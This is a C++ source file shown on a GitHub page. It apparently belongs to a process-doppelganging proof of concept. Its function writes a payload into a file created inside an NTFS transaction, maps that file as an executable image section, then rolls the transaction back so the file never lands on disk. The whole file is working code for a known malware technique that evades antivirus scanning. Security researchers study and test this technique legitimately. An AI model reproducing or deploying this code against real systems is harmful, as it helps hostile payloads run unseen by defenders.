-
Notifications
You must be signed in to change notification settings - Fork 74
/
transacted_file.cpp
69 lines (59 loc) · 1.98 KB
/
transacted_file.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include "transacted_file.h"
#include <KtmW32.h>
#include <iostream>
#include <stdio.h>
#include "ntddk.h"
#pragma comment(lib, "KtmW32.lib")
#pragma comment(lib, "Ntdll.lib")
HANDLE make_transacted_section(wchar_t* dummy_name, BYTE* payladBuf, DWORD payloadSize)
{
DWORD options, isolationLvl, isolationFlags, timeout;
options = isolationLvl = isolationFlags = timeout = 0;
HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr);
if (hTransaction == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to create transaction!" << std::endl;
return INVALID_HANDLE_VALUE;
}
HANDLE hTransactedFile = CreateFileTransactedW(dummy_name,
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL,
hTransaction,
NULL,
NULL
);
if (hTransactedFile == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to create transacted file: " << GetLastError() << std::endl;
return INVALID_HANDLE_VALUE;
}
DWORD writtenLen = 0;
if (!WriteFile(hTransactedFile, payladBuf, payloadSize, &writtenLen, NULL)) {
std::cerr << "Failed writing payload! Error: " << GetLastError() << std::endl;
return INVALID_HANDLE_VALUE;
}
HANDLE hSection = nullptr;
NTSTATUS status = NtCreateSection(&hSection,
SECTION_ALL_ACCESS,
NULL,
0,
PAGE_READONLY,
SEC_IMAGE,
hTransactedFile
);
if (status != STATUS_SUCCESS) {
std::cerr << "NtCreateSection failed" << std::endl;
return INVALID_HANDLE_VALUE;
}
CloseHandle(hTransactedFile);
hTransactedFile = nullptr;
if (RollbackTransaction(hTransaction) == FALSE) {
std::cerr << "RollbackTransaction failed: " << std::hex << GetLastError() << std::endl;
return INVALID_HANDLE_VALUE;
}
CloseHandle(hTransaction);
hTransaction = nullptr;
return hSection;
}